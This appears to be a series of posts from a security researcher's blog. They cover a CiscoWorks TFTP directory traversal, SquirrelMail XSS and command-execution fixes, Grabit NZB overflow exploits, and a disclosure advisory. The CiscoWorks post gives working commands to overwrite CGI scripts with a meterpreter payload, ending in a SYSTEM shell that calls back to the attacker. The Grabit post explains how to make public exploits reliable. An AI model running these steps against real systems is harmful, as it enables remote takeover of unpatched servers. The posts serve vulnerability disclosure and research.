CiscoWorks TFTP directory traversal exploit

A couple of days ago, Cisco released an advisory for a CiscoWorks TFTP directory traversal vulnerability. The bug was discovered by Cisco internally. So far I have not seen any details published so I decided to see if I could find the bug. I have access to a Windows 2000 machine running CiscoWorks Common Services 3.0.3. It is not the most recent version, but it is listed in the advisory as vulnerable. The TFTP server is indeed enabled by default and exploitation is trivial:

niels@hac:~$ tftp target
tftp> get ...\...\...\...\...\...\...\boot.ini
Received 187 bytes in 0.0 seconds
tftp>

Assuming this is the same bug (and not just present in my old version) I'm surprised nobody has found this before. I ran a Nessus scan on the server and it even detected the vulnerability using a generic TFTP directory traversal plug-in.

The TFTP server will not allow you to create new files on the server, but it will allow you to overwrite existing files. It runs as SYSTEM, so all we need to do is overwrite an interesting file to get instant remote code execution. Looking at what else CiscoWorks is running, I noticed an Apache web server running on port 1741. By default, it redirects you to a login page on a different port, but looking at the configuration I noticed you can access some Perl CGI scripts through this interface. As the Apache server runs as SYSTEM as well, overwriting these scripts should give us remote code execution.

The TFTP root is "C:\Program Files\CSCOpx\tftpboot" by default. The directory "C:\Program Files\CSCOpx\cgi-bin\error" contains several publicly accessible CGI scripts, such as 404.pl and 500.pl.

I replaced 500.pl with an executable, in my case a standalone meterpreter generated using msfpayload:

tftp> binary
tftp> put meter.exe ...\cgi-bin\error\500.pl
Sent 9732 bytes in 0.1 seconds

Apache expects a Perl file, so we will need a wrapper to start 500.pl (which is really an .exe, not a Perl file), so I created a small Perl script which just does a system("500.pl"); and uploaded it to the server:

tftp> put exec.pl ...\cgi-bin\error\404.pl
Sent 36 bytes in 0.0 seconds

Windows won't mind that the 500.pl file does not have an .exe extension, as long as we execute it via the 404.pl file. So now I simply point a web browser to http://target:1741/cgi-bin/error/404.pl. 404.pl executes our meterpreter and game over:

[*] Meterpreter session 1 opened (hac:4444 -> target:1298)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Update: I tested this on CiscoWorks LMS 2.6 (Common Services 3.0.5) today. It works perfectly.

Time to update SquirrelMail

Today Squirrelmail released version 1.4.18. This version fixes a couple of vulnerabilities, some of which I spotted while browsing through SquirrelMail source code while installing it:

1. A reflected XSS caused by unsafe handling of the $PHP_SELF variable
2. A reflected XSS caused by unsafe handling of user supplied encrypted data
3. A remote command execution vulnerability (only in very specific configurations)
   

The first XSS is caused by the fact that SquirrelMail only used the strip_tags function to filter this variable. As the variable is often used within tags, you can still inject additional HTML attributes (think onmouseover). This was exploitable in multiple scripts. SquirrelMail now uses htmlspecialchars instead.

The second XSS is rather interresting. SquirrelMail comes with a test script which (given ciphertext and a key) decrypts user supplied data. The decrypted data was then displayed unfiltered (resulting in an obvious XSS). Pretty stealthy and should circumvent any IDS or WAF. Having this kind of script in your webroot is obviously a bad idea anyway.

The last bug occurs only in very specific configurations. If you have more than one imap server, there is a way to configure that in SquirrelMail. If you configure this and use the example map_yp_alias function for this, unauthenticated attackers could execute shell commands on your server. If you built your own function for this, you should probably check if it handles input correctly. It is unlikely that you're running this kind of configuration, but there are probably a couple of installations out there using this.

Grabit exploits are available (but not working)

I have seen two exploits so far for the NZB overflow, both on milw0rm (here and here). I took a look at the code and they do not look very reliable, in fact both of them suffer from the same problem I initially had when exploiting the bug.

The exploits on milw0rm are tuned for very specific environments, this is caused by the fact that Grabit prepends the current directory to the string copied in the buffer. The authors created the NZB exploits in a specific directory and the exploits will not work if they place it in another one with a different path length (this is why the second exploit has two 'targets').

When I was creating an exploit, this seemed like a serious problem for exploit reliability to me. But when tracing through the code, you will notice that the directory is not always prepended. If the DTD reference is to an absolute path (instead of a relative one), it will not prepend the directory and exploitation is a lot more reliable. After I fixed this in the two exploits, they work just fine on my system.

Grabit <= 1.7.2 beta 3 NZB file parsing stack overflow

I can’t usually find the time for vulnerability research, but a while ago I found a bug in Grabit, a popular usenet client with NZB support. I posted the following message to Bugtraq and Full Disclosure today:

Grabit <= 1.7.2 beta 3 NZB file parsing stack overflow

Impact: Remote code execution
Version: <= 1.7.2 beta 3

Description
Grabit is a popular Windows usenet client designed for downloading binary files. It has support for NZB files, which a user would usually acquire from an external source. Version 1.7.2 beta 3 is vulnerable to a stack overflow when parsing DTD references in NZB files. Earlier versions are vulnerable as well. Reliable exploitation is pretty straightforward.

Fix
I reported this to the author a while ago. He has now released version 1.7.2 beta 4, which fixes the bug. It can be downloaded at http://www.shemes.com/